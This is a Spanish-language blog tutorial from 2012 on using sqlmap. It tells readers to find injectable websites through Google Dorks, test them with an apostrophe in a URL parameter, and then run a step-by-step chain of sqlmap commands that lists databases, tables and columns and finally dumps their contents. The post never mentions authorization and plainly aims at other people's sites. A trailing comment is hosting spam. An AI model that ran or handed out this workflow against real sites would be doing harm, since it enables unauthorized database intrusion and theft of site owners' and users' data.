viernes, 24 de febrero de 2012

Seguridad - Tutorial Sqlmap

Sqlmap es un script programado en Python, el cual verifica si una página web es vulnerable o no a una inyección sql. La idea de usar este software es automatizar la tarea, claro esta, que debemos saber como se inyecta manualmente.

Personalmente he instalado sqlmap que viene en repositorios (Al menos en Debian) y bajarlo desde la web, personalmente prefiero descargar el tar, encuentro que funciona un poco mejor, quizas no es así, por lo que no lo aseguro, pero a mi me es más cómodo.

Como dato anexo, la forma más rapida es ocupar Google Dorks para buscar webs injectables, abrir una web, forzar una sentencia web y si nos arroja un error sql, tirar esa web a sqlmap para que la analice, por ejemplo una forma básica es con el ‘ (apóstrofe), ejemplo:
http://www.paginweb.com/noticias.php?id=2211
Lo forzamos con
http://www.paginweb.com/noticias.php?id=’2211
Existen otras formas, pero esa es una forma básica.

Volviendo a Sqlmap, la sintaxis básica es la siguiente:
python sqlmap.py --url paginaweb
por ejemplo:
python sqlmap.py http://www.paginweb.com/noticias.php?id=2211
Si nuestra página web es vulnerable, nos saldrá un dialogo como el siguiente: GET parameter 'id' is vulnerable. Ahora debemos hacer que nos muestre las base de datos que contiene la web, para eso debemos indicarle el valor --dbs, por ejemplo
python sqlmap.py http://www.paginweb.com/noticias.php?id=2211 --dbs
Luego de esto nos deberá entregar el/los nombres de las base de datos, por lo que debemos buscar las tablas de dichas bases de datos
python sqlmap.py http://www.paginweb.com/noticias.php?id=2211 -D nombredb --tables
Ahora debemos buscar las columnas de las tablas
python sqlmap.py http://www.paginweb.com/noticias.php?id=2211 -T nombretabla --columns
Si todos nos sigue saliendo bien, ahora debemos, ahora sabemos las columnas de la tabla, por lo que necesitaremos saber los datos de esta, para eso aplicamos --dump.
python sqlmap.py http://www.paginweb.com/noticias.php?id=2211 -T nombretabla -C nombrecolumna --dump
Finalmente esto nos dara los datos de las columnas.

Cabe destacar que esta es la forma básica de hacer funcionar Sqlmap, existen más parámetros, pero eso queda a cada uno.

1 comentarios:

DreamHost is definitely one of the best web-hosting company with plans for any hosting requirments.

Publicar un comentario